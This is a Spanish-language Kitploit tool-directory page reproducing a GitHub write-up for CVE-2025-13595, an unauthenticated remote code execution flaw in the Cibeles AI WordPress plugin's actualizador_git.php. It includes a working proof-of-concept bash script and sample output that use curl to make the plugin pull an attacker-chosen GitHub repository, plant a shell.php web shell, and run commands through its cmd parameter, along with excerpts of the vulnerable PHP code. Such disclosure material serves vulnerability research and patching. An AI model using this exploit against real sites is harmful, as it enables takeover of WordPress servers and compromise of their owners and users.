Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-13595 — CIBELES AI <= 1.10.8 - Carga de archivos arbitraria no autenticada | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-13595
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubd0n601/cve-2025-13595

CVE-2025-13595

CIBELES AI <= 1.10.8 - Carga de archivos arbitraria no autenticada

Ver Repositorio
1hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CIBELES AI <= 1.10.8 - Subida de Archivos Arbitraria No Autenticada

El plugin de WordPress Cibeles AI en versiones 1.10.8 y anteriores contiene una vulnerabilidad de ejecución remota de código no autenticada en el archivo actualizador_git.php. Este archivo es accesible directamente a través de HTTP sin ninguna comprobación de autenticación o autorización, lo que permite a atacantes no autenticados descargar repositorios arbitrarios de GitHub y sobrescribir archivos del plugin, lo que lleva a la ejecución remota de código.

Resumen de Exploits

Se proporciona un CVE-2025-13595.py para demostrar que un atacante remoto puede subir shell.php y ejecutar código remoto:

root@kitploit:~
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

Análisis Técnico

La vulnerabilidad existe en /wp-content/plugins/cibeles-ai/actualizador_git.php. Este archivo implementa un sistema de duplicado de repositorios de GitHub que puede ser accedido directamente a través de HTTP sin controles de seguridad.

Análisis de la Ruta del Código

  1. Acceso Directo al Archivo (Líneas 1-17): El archivo carece de la comprobación estándar de WordPress ABSPATH (if (!defined('ABSPATH')) exit;) que previene el acceso HTTP directo. Los parámetros se leen directamente de $_GET sin validación:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validación del Token (Línea 26): La única validación comprueba si el token está vacío o es el valor predeterminado. No se realiza autenticación ni autorización:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Solicitud a la API de GitHub (Línea 31, 35-58): El script descarga un archivo ZIP desde la API de GitHub utilizando parámetros controlados por el usuario:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

Prueba de Concepto

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
Descargar herramienta

La función curl_download() envía el token en el encabezado Authorization pero no realiza ninguna validación del propietario o contenido del repositorio.

  • Extracción del ZIP y Operaciones de Archivo (Líneas 133-158): El ZIP descargado se extrae y los archivos se copian directamente al directorio del plugin:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd);
    

    La función rrcopy_into() copia recursivamente todos los archivos del repositorio extraído al directorio de trabajo actual (directorio del plugin), sobrescribiendo los archivos existentes.

  • Eliminación de Archivos (Líneas 152-154): Se eliminan los archivos que no están presentes en el repositorio descargado:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    La función mirror_delete_extras() elimina cualquier archivo en el directorio del plugin que no exista en el manifiesto del repositorio.